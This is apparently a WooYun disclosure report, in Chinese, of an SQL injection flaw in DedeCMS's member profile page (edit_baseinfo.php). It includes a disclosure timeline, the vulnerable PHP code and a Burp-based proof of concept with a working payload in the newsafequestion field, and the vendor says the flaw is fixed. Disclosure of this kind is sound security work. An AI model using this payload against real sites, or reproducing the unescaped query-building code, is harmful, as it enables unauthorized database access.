Dedecms 会员中心注入漏洞2

漏洞详情

披露状态:

2014-01-14: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-17: 细节向第三方安全合作伙伴开放
2014-01-24: 细节向核心白帽子及相关领域专家公开
2014-02-03: 细节向普通白帽子公开
2014-02-23: 细节向实习白帽子公开
2014-04-14: 细节向公众公开

简要描述:

Dedecms 会员中心注入漏洞2

详细说明:

member/edit_baseinfo.php
require_once(dirname(__FILE__)."/config.php");
CheckRank(0,0);
$menutype = 'config';
if(!isset($dopost)) $dopost = '';

$pwd2=(empty($pwd2))? "" : $pwd2;
$row=$dsql->GetOne("SELECT * FROM `#@__member` WHERE mid='".$cfg_ml->M_ID."'");
$face = $row['face'];
if($dopost=='save')
{
$svali = GetCkVdValue();

if(strtolower($vdcode) != $svali || $svali=='')
{
ReSETVdValue();
ShowMsg('验证码错误!','-1');
exit();
}
if(!is_array($row) || $row['pwd'] != md5($oldpwd))
{
ShowMsg('你输入的旧密码错误或没填写,不允许修改资料!','-1');
exit();
}
if($userpwd != $userpwdok)
{
ShowMsg('你两次输入的新密码不一致!','-1');
exit();
}
if($userpwd=='')
{
$pwd = $row['pwd'];
}
else
{
$pwd = md5($userpwd);
$pwd2 = substr(md5($userpwd),5,20);
}
$addupquery = '';

#api{{
if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
{
$emailnew = $email != $row['email'] ? $email : '';
$ucresult = uc_user_edit($cfg_ml->M_LoginID, $oldpwd, $userpwd, $emailnew);
}
#/aip}}

//修改安全问题或Email
if($email != $row['email'] || ($newsafequestion != 0 && $newsafeanswer != ''))
{
if($row['safequestion']!=0 && ($row['safequestion'] != $safequestion || $row['safeanswer'] != $safeanswer))
{
ShowMsg('你的旧安全问题及答案不正确,不能修改Email或安全问题!','-1');
exit();
}

//修改Email
if($email != $row['email'])
{
if(!CheckEmail($email))
{
ShowMsg('Email格式不正确!','-1');
exit();
}
else
{
$addupquery .= ",email='$email'";
}
}

//修改安全问题
if($newsafequestion != 0 && $newsafeanswer != '')
{
if(strlen($newsafeanswer) > 30)
{
ShowMsg('你的新安全问题的答案太长了,请保持在30字节以内!','-1');
exit();
}
else
{
$addupquery .= ",safequestion='$newsafequestion',safeanswer='$newsafeanswer'";//这里的newsafequest没过滤 我们直接update注入
}
}
}

//修改uname
if($uname != $row['uname'])
{
$rs = CheckUserID($uname,'昵称或公司名称',FALSE);
if($rs!='ok')
{
ShowMsg($rs,'-1');
exit();
}
$addupquery .= ",uname='$uname'";
}

//性别
if( !in_array($sex, array('男','女','保密')) )
{
ShowMsg('请选择正常的性别!','-1');
exit();
}

$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
echo $query1;
$dsql->ExecuteNoneQuery($query1);

漏洞证明:

利用方法 注册用户并且登陆

完了打开http://127.0.0.1/dede/member/edit_baseinfo.php

然后随便写一下

输入验证码 打开BURP 抓包

点击提交

然后再BURP里修改newsafequestion 的值改成1',email=@`'`,uname=(select user()),email='sss

然后提交 之后再打开http://127.0.0.1/dede/member/edit_baseinfo.php

就可以看到自己的、用户名变成了注入之后的结果了

1.png



2.png

3.png



修复方案:

过滤啊

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-01-14 22:23

厂商回复:

已修复,感谢反馈

最新状态:

暂无


漏洞评价: